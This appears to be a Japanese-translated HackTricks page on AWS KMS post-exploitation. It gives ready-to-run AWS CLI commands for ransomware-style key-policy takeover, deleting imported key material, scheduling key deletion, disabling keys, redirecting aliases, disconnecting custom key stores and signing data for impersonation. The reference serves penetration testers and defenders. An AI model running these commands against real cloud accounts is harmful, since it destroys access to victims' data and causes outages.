# AWS - KMS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## KMS

詳細は次を参照してください:

{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}

### 情報の暗号化/復号化

`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:

- `fileb://:` はファイルをバイナリモードで読み込み、非テキストファイルで一般的に使用されます。
- `file://:` はファイルをテキストモードで読み込み、通常はプレーンテキストファイル、スクリプト、または特殊なエンコーディングを必要としない JSON に使用されます。

> [!TIP]
> ファイル内のデータを復号化したい場合、ファイルは base64 エンコードされたデータではなくバイナリデータを含んでいる必要があります。(fileb://)

- **対称**鍵を使用する
```bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
```
- **asymmetric** key を使用する:
```bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
```
### KMS Ransomware

KMS への特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更して、**自身のアカウントにそれらへのアクセスを付与し**、正当なアカウントに付与されているアクセスを削除することができます。

そうすると、正当なアカウントのユーザーはそれらのキーで暗号化されたサービスのいかなる情報にもアクセスできなくなり、アカウントに対する簡単だが効果的な ransomware を発生させます。

> [!WARNING]
> この攻撃は **AWS managed keys** には影響しない点に注意してください。影響を受けるのは **Customer managed keys** のみです。
>
> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください（Web コンソールにこのオプションがないため、この攻撃は CLI からのみ実行可能です）。
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
```
> [!CAUTION]
> そのポリシーを変更して外部アカウントのみにアクセスを付与し、さらにその外部アカウントから元のアカウントにアクセスを戻すための新しいポリシーを設定しようとした場合、**元のアカウントにアクセスを戻すことはできません。Put Polocy action はクロスアカウントから実行できないためです。**

<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>

### Generic KMS Ransomware

グローバルな KMS Ransomware を実行する別の方法があり、以下の手順を含みます:

- 攻撃者がインポートした**key materialを持つ新しいキーを作成する**
- 被害者の、以前のバージョンで暗号化された古いデータを新しいキーで**再暗号化する**
- **KMSキーを削除する**
- これにより、オリジナルの key material を持つ攻撃者だけが暗号化されたデータを復号できるようになります

### Delete Keys via kms:DeleteImportedKeyMaterial

`kms:DeleteImportedKeyMaterial` 権限を持つアクターは、`Origin=EXTERNAL` を持つ CMKs（key material をインポートした CMKs）からインポートされた key material を削除でき、その結果それらはデータを復号できなくなります。この操作は破壊的で不可逆的であり、互換性のある素材が再インポートされない限り元に戻せません。したがって、攻撃者は暗号化された情報を恒久的にアクセス不能にして、実質的にランサムウェアのようなデータ損失を引き起こすことができます。
```bash
aws kms delete-imported-key-material --key-id <Key_ID>
```
### キーを破棄する

キーを破棄すると DoS を引き起こす可能性があります。
```bash
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
```
> [!CAUTION]
> AWS は現在 **以前のアクションがクロスアカウントから実行されることを防いでいます:** 

### Alias の変更または削除
この攻撃は AWS KMS の Alias を削除またはリダイレクトし、キーの解決を破壊してそれらの Alias に依存するサービスに即時の障害を引き起こし、denial-of-service を招きます。`kms:DeleteAlias` や `kms:UpdateAlias` のような権限があれば、攻撃者は Alias を削除または再指向して暗号操作（例: encrypt、describe）を妨害できます。key ID の代わりに Alias を参照しているサービスは、Alias が復元されるか正しくリマップされるまで失敗する可能性があります。
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
```
### Cancel Key Deletion
`kms:CancelKeyDeletion` や `kms:EnableKey` のような権限があれば、攻撃者は AWS KMS customer master key のスケジュールされた削除をキャンセルし、後で再び有効化できます。これによりキーが回復し（最初は Disabled 状態）、以前保護されていたデータを復号する能力が復元され、exfiltration を可能にします。
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
```
### キーの無効化
`kms:DisableKey` 権限があれば、アクターは AWS KMS のカスタマーマスターキー（CMK）を無効化でき、暗号化や復号に使用できなくします。これによりその CMK に依存するサービスのアクセスが失われ、キーが再度有効化されるまで即時の障害や denial-of-service を引き起こす可能性があります。
```bash
aws kms disable-key \
--key-id <key_id>
```
### 共有シークレットの導出
`kms:DeriveSharedSecret` 権限があれば、アクターは KMS が保持する秘密鍵とユーザーが提供した公開鍵を使って ECDH の共有シークレットを計算できます。
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
```
### Impersonation via kms:Sign
`kms:Sign` の権限があれば、攻撃者は KMS に格納された CMK を用いて秘密鍵を露出させることなくデータに暗号学的署名を行い、有効な署名を生成できます。これにより impersonation を可能にしたり、悪意のある操作を正当化・実行することができます。
```bash
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS with Custom Key Stores
`kms:DeleteCustomKeyStore`、`kms:DisconnectCustomKeyStore`、または `kms:UpdateCustomKeyStore` のような権限があると、攻撃者は AWS KMS Custom Key Store (CKS) を変更、切断、または削除でき、そのマスターキーを使用不能にできます。これにより、当該キーに依存するサービスの暗号化、復号、署名処理が停止し、即時の denial-of-service を引き起こす可能性があります。したがって、これらの権限を制限し監視することが重要です。
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
```
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>

{{#include ../../../../banners/hacktricks-training.md}}
